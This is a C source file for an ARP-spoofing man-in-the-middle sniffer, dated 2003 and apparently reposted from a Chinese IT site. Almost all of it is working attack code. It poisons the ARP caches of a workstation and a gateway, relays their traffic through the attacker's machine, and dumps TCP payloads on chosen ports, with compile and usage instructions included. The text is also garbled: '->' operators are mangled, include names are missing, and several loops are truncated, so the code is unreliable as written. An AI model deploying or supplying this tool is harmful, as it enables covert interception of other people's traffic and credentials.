/*============================================================================ Coder: Paris-ye Released on: 1/9/2003 Test on: redhat 9.0 Information: This is a arp spoof sniffer. W <--- workstation B <--- Server or GateWay M <--- Man in the middle (agent),self IP address Make: first you must install "pcap" and "libnet" gcc -I/usr/local/include -L/usr/local/lib -o sniffer sniffer.c -lpcap -lnet Usage: ./sniffer -I [Interface] -M [Self IP] -W [Workstation IP] -S [Server IP] -P [port] ============================================================================*/ #include #include #include #include #include #define MAXBUF 1024*4 #define PCAP_TOUT 5 #define PROMISC 0 #define TRUE 1 #define FALSE 0 /* Ethernet protocol ID's */ #define ETHERTYPE_PUP 0x0200 /* Xerox PUP */ #define ETHERTYPE_IP 0x0800 /* IP */ #define ETHERTYPE_ARP 0x0806 /* Address resolution */ #define ETHERTYPE_REVARP 0x8035 /* Reverse ARP */ /* This structure defines an ethernet arp header. */ /* ARP protocol opcodes. */ #define ARPOP_REQUEST 1 /* ARP request. */ #define ARPOP_REPLY 2 /* ARP reply. */ #define ARPOP_RREQUEST 3 /* RARP request. */ #define ARPOP_RREPLY 4 /* RARP reply. */ #define ARPOP_InREQUEST 8 /* InARP request. */ #define ARPOP_InREPLY 9 /* InARP reply. */ #define ARPOP_NAK 10 /* (ATM)ARP NAK. */ /* ARP protocol HARDWARE identifiers. */ #define ARPHRD_NETROM 0 /* From KA9Q: NET/ROM pseudo. */ #define ARPHRD_ETHER 1 /* Ethernet 10/100Mbps. */ #define ARPHRD_EETHER 2 /* Experimental Ethernet. */ #define ARPHRD_AX25 3 /* AX.25 Level 2. */ #define ARPHRD_PRONET 4 /* PROnet token ring. */ #define ARPHRD_CHAOS 5 /* Chaosnet. */ #define ARPHRD_IEEE802 6 /* IEEE 802.2 Ethernet/TR/TB. */ #define ARPHRD_ARCNET 7 /* ARCnet. */ #define ARPHRD_APPLETLK 8 /* APPLEtalk. */ #define ARPHRD_DLCI 15 /* Frame Relay DLCI. */ #define ARPHRD_ATM 19 /* ATM. */ #define ARPHRD_METRICOM 23 /* Metricom STRIP (new IANA id). */ /* Dummy types for non ARP hardware */ #define ARPHRD_SLIP 0x256 #define ARPHRD_CSLIP 0x257 #define ARPHRD_SLIP6 0x258 #define ARPHRD_CSLIP6 0x259 #define ARPHRD_RSRVD 0x260 /* Notional KISS type. */ #define ARPHRD_ADAPT 0x264 #define ARPHRD_ROSE 0x270 #define ARPHRD_X25 0x271 /* CCITT X.25. */ #define ARPHDR_HWX25 0x272 /* Boards with X.25 in firmware. */ #define ARPHRD_PPP 0x512 #define ARPHRD_CISCO 0x513 /* Cisco HDLC. */ #define ARPHRD_HDLC ARPHRD_CISCO #define ARPHRD_LAPB 0x516 /* LAPB. */ #define ARPHRD_DDCMP 0x517 /* Digital's DDCMP. */ #define ARPHRD_RAWHDLC 0x518 /* Raw HDLC. */ #define ARPHRD_TUNNEL 0x768 /* IPIP tunnel. */ #define ARPHRD_TUNNEL6 0x769 /* IPIP6 tunnel. */ #define ARPHRD_FRAD 0x770 /* Frame Relay Access Device. */ #define ARPHRD_SKIP 0x771 /* SKIP vif. */ #define ARPHRD_LOOPBACK 0x772 /* Loopback device. */ #define ARPHRD_LOCALTLK 0x773 /* Localtalk device. */ #define ARPHRD_FDDI 0x774 /* Fiber Distributed Data Interface. */ #define ARPHRD_BIF 0x775 /* AP1000 BIF. */ #define ARPHRD_SIT 0x776 /* sit0 device - IPv6-in-IPv4. */ #define ARPHRD_IPDDP 0x777 /* IP-in-DDP tunnel. */ #define ARPHRD_IPGRE 0x778 /* GRE over IP. */ #define ARPHRD_PIMREG 0x779 /* PIMSM register interface. */ #define ARPHRD_HIPPI 0x780 /* High Performance Parallel I'face. */ #define ARPHRD_ASH 0x781 /* (Nexus Electronics) Ash. */ #define ARPHRD_ECONET 0x782 /* Acorn Econet. */ #define ARPHRD_IRDA 0x783 /* Linux-IrDA. */ #define ARPHRD_FCPP 0x784 /* Point to point fibrechanel. */ #define ARPHRD_FCAL 0x785 /* Fibrechanel arbitrated loop. */ #define ARPHRD_FCPL 0x786 /* Fibrechanel public loop. */ #define ARPHRD_FCPFABRIC 0x787 /* Fibrechanel fabric. */ #define ARPHRD_IEEE802_TR 0x800 /* Magic type ident for TR. */ #define ARPHRD_IEEE80211 0x801 /* IEEE 802.11. */ /* IP version number */ #define IPVERSION 4 struct ether_header { u_int8_t ether_dhost[6]; /* destination eth addr */ u_int8_t ether_shost[6]; /* source ether addr */ u_int16_t ether_type; /* packet type ID field */ }; struct arphdr { unsigned short int ar_hrd; /* Format of hardware address. */ unsigned short int ar_pro; /* Format of protocol address. */ unsigned char ar_hln; /* Length of hardware address. */ unsigned char ar_pln; /* Length of protocol address. */ unsigned short int ar_op; /* ARP opcode (command). */ unsigned char __ar_sha[6]; /* Sender hardware address. */ unsigned char __ar_sip[4]; /* Sender IP address. */ unsigned char __ar_tha[6]; /* Target hardware address. */ unsigned char __ar_tip[4]; /* Target IP address. */ }; /* * Structure of an internet header, naked of options. */ struct iphead { unsigned int ip_hl:4; /* header length */ unsigned int ip_v:4; /* version */ u_int8_t ip_tos; /* type of service */ u_short ip_len; /* total length */ u_short ip_id; /* identification */ u_short ip_off; /* fragment offset field */ u_int8_t ip_ttl; /* time to live */ u_int8_t ip_p; /* protocol */ u_short ip_sum; /* checksum */ u_char ip_src[4], ip_dst[4]; /* source and dest address */ }; struct tcphead { u_int16_t th_sport; /* source port */ u_int16_t th_dport; /* destination port */ u_int32_t th_seq; /* sequence number */ u_int32_t th_ack; /* acknowledgement number */ u_int8_t th_off:4; /* data offset */ u_int8_t th_x2:4; /* (unused) */ u_int8_t th_flags; #define TH_FIN 0x01 #define TH_SYN 0x02 #define TH_RST 0x04 #define TH_PUSH 0x08 #define TH_ACK 0x10 #define TH_URG 0x20 u_int16_t th_win; /* window */ u_int16_t th_sum; /* checksum */ u_int16_t th_urp; /* urgent pointer */ }; /* * W , S , M 's ip and mac address */ struct ipmacaddr { u_char ipW[4]; u_char macW[6]; u_char ipS[4]; u_char macS[6]; u_char ipM[4]; u_char macM[6]; }; int usage(char* argv) { printf("====================================\n"); printf("============Arp Sniffer=============\n"); printf("==========Write by Paris-Ye=========\n"); printf("===Usage: %s -I [interface] -M [Self IP] -W [Workstation IP] -S [Server IP] -P [port]\n", argv); printf("===For example:\n"); printf("\t%s -I eth0 -M 192.168.0.6 -W 192.168.0.4 -S 192.168.0.254\n",argv); return 0; } /*send arp packet function*/ int arpsend(libnet_t* lnet,u_char* smac,u_char* sip,u_char* dmac,u_char* dip) { int ret=0; u_char* packet; u_long packets; libnet_ptag_t t; struct ether_header* ethh; struct arphdr* arph; packets=sizeof(struct ether_header)+sizeof(struct arphdr); packet = malloc(packets); ethh = (struct ether_header* ) packet; arph = (struct arphdr* ) (packet+sizeof(struct ether_header)); memcpy(ethh->;ether_dhost,dmac,6); memcpy(ethh->;ether_shost,smac,6); ethh->;ether_type = htons(ETHERTYPE_ARP); arph->;ar_hrd = htons(ARPOP_REQUEST); arph->;ar_pro = htons(ARPHRD_IEEE802_TR); arph->;ar_hln = 6; arph->;ar_pln = 4; arph->;ar_op = htons(ARPHRD_ETHER); memcpy(arph->;__ar_sha,smac,6); memcpy(arph->;__ar_sip,sip,4); bzero(arph->;__ar_tha,6); memcpy(arph->;__ar_tip,dip,4); ret = libnet_write_link( lnet, packet, packets ); if(ret == -1) { return FALSE; } return TRUE; } /*Send spoof arp S And W every 6 second interval*/ void arpspoof(libnet_t* lnet,struct ipmacaddr* ipmac) { while(TRUE) { arpsend(lnet,ipmac->;macM,ipmac->;ipS,ipmac->;macW,ipmac->;ipW); arpsend(lnet,ipmac->;macM,ipmac->;ipW,ipmac->;macS,ipmac->;ipS); sleep(6); } } /*Forward packets W--->;S or S--->;W*/ int forwarddate(libnet_t* lnet,const u_char* packet,int len,u_char* macW,u_char* macS,u_char* macM) { int ret=0; const u_char* datapoint=packet; struct ether_header* ethhdr; struct iphead* iph; ethhdr = (struct ether_header*) datapoint; if(ntohs(ethhdr->;ether_type)!=ETHERTYPE_IP) return TRUE; if(!memcmp(ethhdr->;ether_shost,macM,6)) /*if the Source Mac is agent(M)'s come back*/ return TRUE; if(memcmp(ethhdr->;ether_dhost,macM,6)) /*if the Source Mac Destination is't agent(M)'s come back*/ return TRUE; if(!memcmp(ethhdr->;ether_shost,macW,6)) /*if the Source Mac is W's(Workstation)*/ { memcpy(ethhdr->;ether_shost,macM,6); memcpy(ethhdr->;ether_dhost,macS,6); ret = libnet_write_link( lnet, (u_char*)datapoint, len ); } if(!memcmp(ethhdr->;ether_shost,macS,6)) /*if the Source Mac is S S's(server)*/ { memcpy(ethhdr->;ether_shost,macM,6); memcpy(ethhdr->;ether_dhost,macW,6); ret = libnet_write_link( lnet, (u_char*)datapoint, len ); } return TRUE; } /*print hex date to Ascii */ void printdat(u_char* packet,int len) { int i=0,j=0; u_char str[16]; for(i=0;i<=len-16;i+=16) { memcpy(str,packet+i,16); fprintf(stdout,"%02x%02x%02x%02x %02x%02x%02x%02x %02x%02x%02x%02x %02x%02x%02x%02x ", str[0],str[1],str[2],str[3], str[4],str[5],str[6],str[7], str[8],str[9],str[10],str[11], str[12],str[13],str[14],str[15] ); for(j=0;j<16;j++) { if(str[j] < 32 || str[j] >; 126) str[j]='.'; } fprintf(stdout,"%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n", str[0],str[1],str[2],str[3], str[4],str[5],str[6],str[7], str[8],str[9],str[10],str[11], str[12],str[13],str[14],str[15] ); } if(i!=len) { memcpy(str,packet+i,16); for(j=0;j<16;j++) { if(j%4==0 && j!=0) fprintf(stdout," "); if((i+j) fprintf(stdout,"%02x",str[j]); } else fprintf(stdout," "); } fprintf(stdout," "); for(j=0;j<16;j++) { if((i+j) if(str[j] < 32 || str[j] >; 126) str[j]='.'; fprintf(stdout,"%c",str[j]); } } fprintf(stdout,"\n\n"); } } /*parse packet*/ int parsedate(const u_char* packet,int len,u_char* macW,u_char* macS,u_char* macM,u_char* ipW,u_char* ipS,int* port) { int i=0; int contents; u_char* content; const u_char* datapoint=packet; struct ether_header* ethhdr; struct iphead* iph; struct tcphead* tcph; ethhdr = (struct ether_header*) datapoint; iph = (struct iphead*) (datapoint+sizeof(struct ether_header)); tcph = (struct tcphead*) (datapoint+sizeof(struct ether_header)+sizeof(struct iphead)); if(memcmp(ethhdr->;ether_shost,macW,6) && memcmp(ethhdr->;ether_shost,macS,6)) return FALSE; if(memcmp(ethhdr->;ether_dhost,macM,6)) return FALSE; if(ntohs(ethhdr->;ether_type)!=ETHERTYPE_IP) return FALSE; if(iph->;ip_v != 4 || iph->;ip_hl != 5) return FALSE; if(!(!memcmp(iph->;ip_dst,ipW,4) || !memcmp(iph->;ip_src,ipW,4))) return FALSE; if(iph->;ip_p != IPPROTO_TCP) return FALSE; contents = htons(iph->;ip_len)-sizeof(struct iphead)-sizeof(struct tcphead); content = (u_char *)(datapoint+sizeof(struct ether_header)+sizeof(struct iphead)+sizeof(struct tcphead)); if((tcph->;th_flags & TH_PUSH)) { for(i==0;port!=0;i++) { printf("=====%d %d\n",port,htons(tcph->;th_dport)); if(port==htons(tcph->;th_dport) || port==htons(tcph->;th_sport)) break; } if(port==0) return; printf("Size:[%d] [%d.%d.%d.%d:%d]->;[%d.%d.%d.%d:%d]\n",htons(iph->;ip_len), iph->;ip_src[0],iph->;ip_src[1],iph->;ip_src[2],iph->;ip_src[3],htons(tcph->;th_sport), iph->;ip_dst[0],iph->;ip_dst[1],iph->;ip_dst[2],iph->;ip_dst[3],htons(tcph->;th_dport) ); printdat(content,contents); } return TRUE; } /*Sniffer packets*/ int agentpacket(libnet_t* lnet,pcap_t* lpcap,struct ipmacaddr* ipmac,int* port) { const u_char* packet; struct pcap_pkthdr hdr; while(1) { packet=pcap_next(lpcap,&hdr); if(packet==NULL || hdr.len==0) continue; parsedate(packet,hdr.len,ipmac->;macW,ipmac->;macS,ipmac->;macM,ipmac->;ipW,ipmac->;ipS,port); forwarddate(lnet,packet,hdr.len,ipmac->;macW,ipmac->;macS,ipmac->;macM); } return TRUE; } /* When initialize Get the S and W Mac address Send arp request */ int gettargetmac(libnet_t* lnet,struct ipmacaddr* ipmac) { while(1) { arpsend(lnet,ipmac->;macM,ipmac->;ipM,ipmac->;macW,ipmac->;ipW); arpsend(lnet,ipmac->;macM,ipmac->;ipM,ipmac->;macS,ipmac->;ipS); sleep(1); } return TRUE; } /* When initialize Get the S and W Mac address parse arp reply */ int getmacaddress(char* dev,libnet_t* lnet,pcap_t* lpcap,struct ipmacaddr* ipmac) { int skfd=0; unsigned int isgetmac=0x0; pid_t pid=0; struct ifreq ifr; const u_char* packet; struct pcap_pkthdr hdr; struct ether_header* ethhdr; struct arphdr* arph; //----------get local mac adrress strcpy(ifr.ifr_name,dev); skfd = socket(AF_INET,SOCK_DGRAM,0); if(skfd<0) { printf("Can't open socket!\n"); return FALSE; } if(ioctl(skfd, SIOCGIFHWADDR, &ifr) < 0) { printf("Can't read local mac address!\n"); return FALSE; } memcpy(ipmac->;macM,ifr.ifr_hwaddr.sa_data,6); close(skfd); //----------get target mac address pid = fork(); if(pid==0) { gettargetmac(lnet,ipmac); exit(TRUE); } while(1) { packet=pcap_next(lpcap,&hdr); if(packet==NULL || hdr.len==0) continue; ethhdr = (struct ether_header*) packet; arph = (struct arphdr*) (packet+sizeof(struct ether_header)); if(memcmp(ethhdr->;ether_dhost,ipmac->;macM,6)) continue; if(ntohs(ethhdr->;ether_type)!=ETHERTYPE_ARP) continue; if(!memcmp(arph->;__ar_sip,ipmac->;ipW,4) && !memcmp(arph->;__ar_tip,ipmac->;ipM,4)) { memcpy(ipmac->;macW,arph->;__ar_sha,6); isgetmac=0xFFFF0000 | isgetmac; } if(!memcmp(arph->;__ar_sip,ipmac->;ipS,4) && !memcmp(arph->;__ar_tip,ipmac->;ipM,4)) { memcpy(ipmac->;macS,arph->;__ar_sha,6); isgetmac=0x0000FFFF | isgetmac; } if(isgetmac == 0xFFFFFFFF) break; } kill(pid,9); return TRUE; } int main(int argc,char* argv[]) { int ret=0,i=0; char *p,*s; char c; char string[]="I:M:W:S:P:"; int port[100]; char dev[32]=""; struct ipmacaddr ipmac; pid_t pid; libnet_t* lnet; pcap_t* lpcap; bpf_u_int32 netp,maskp; struct bpf_program fp; char err[PCAP_ERRBUF_SIZE]; char filterstr[]=""; unsigned int ipM; unsigned int ipW; unsigned int ipS; u_char macW[] = {255,255,255,255,255,255,255}; u_char macS[] = {255,255,255,255,255,255,255}; u_char macM[] = {255,255,255,255,255,255,255}; bzero(&ipmac,sizeof(struct ipmacaddr)); if(argc<8) { usage(argv[0]); return FALSE; } while((c = getopt(argc, argv, string)) != EOF) { switch(c) { case('I'): strcpy(dev,optarg); break; case('M'): ipM = inet_addr(optarg); memcpy(ipmac.ipM,(void*)&ipM,4); break; case('W'): ipW = inet_addr(optarg); memcpy(ipmac.ipW,(void*)&ipW,4); break; case('S'): ipS = inet_addr(optarg); memcpy(ipmac.ipS,(void*)&ipS,4); break; case('P'): printf("%s\n",optarg); s = optarg; p=strtok(s,":"); while(p) { port=atoi(p); printf("%d\n",port); p=strtok(NULL,":"); i++; } port=0; break; default: usage(argv[0]); return FALSE; } } memcpy(ipmac.macW,macW,6); memcpy(ipmac.macS,macS,6); memcpy(ipmac.macM,macM,6); ret = pcap_lookupnet(dev,&netp,&maskp,err); if(ret == -1) { printf("Can't initialize PCAP![%s]\n",err); return FALSE; } lpcap = pcap_open_live( dev, MAXBUF, PROMISC, PCAP_TOUT, err ); if(lpcap == NULL) { printf("Can't initialize PCAP![%s]\n",err); return FALSE; } ret = pcap_compile(lpcap,&fp,filterstr,0,netp); if(ret == -1) { printf("Error pcap_compile!\n"); return FALSE; } ret = pcap_setfilter(lpcap,&fp); if(ret == -1) { printf("Error pcap_setfilter!\n"); return FALSE; } lnet = libnet_init( LIBNET_LINK, dev, err); if(lnet == NULL) { printf("Can't initialize libnet!Please check the [dev]\n"); return FALSE; } ret = getmacaddress(dev,lnet,lpcap,&ipmac); printf("Get network cards mac address:\n"); printf("M->; %02x:%02x:%02x:%02x:%02x:%02x\n",ipmac.macM[0],ipmac.macM[1],ipmac.macM[2],ipmac.macM[3],ipmac.macM[4],ipmac.macM[5],ipmac.macM[6]); printf("W->; %02x:%02x:%02x:%02x:%02x:%02x\n",ipmac.macW[0],ipmac.macW[1],ipmac.macW[2],ipmac.macW[3],ipmac.macW[4],ipmac.macW[5],ipmac.macW[6]); printf("S->; %02x:%02x:%02x:%02x:%02x:%02x\n",ipmac.macS[0],ipmac.macS[1],ipmac.macS[2],ipmac.macS[3],ipmac.macS[4],ipmac.macS[5],ipmac.macS[6]); printf("\nNow Start... .. .\n"); if(ret == FALSE) { return FALSE; } pid = fork(); if(pid==0) { arpspoof(lnet,&ipmac); return FALSE; }else { agentpacket(lnet,lpcap,&ipmac,port); } libnet_destroy(lnet); pcap_close(lpcap); printf("Done\n"); return TRUE; } (责任编辑:IT) |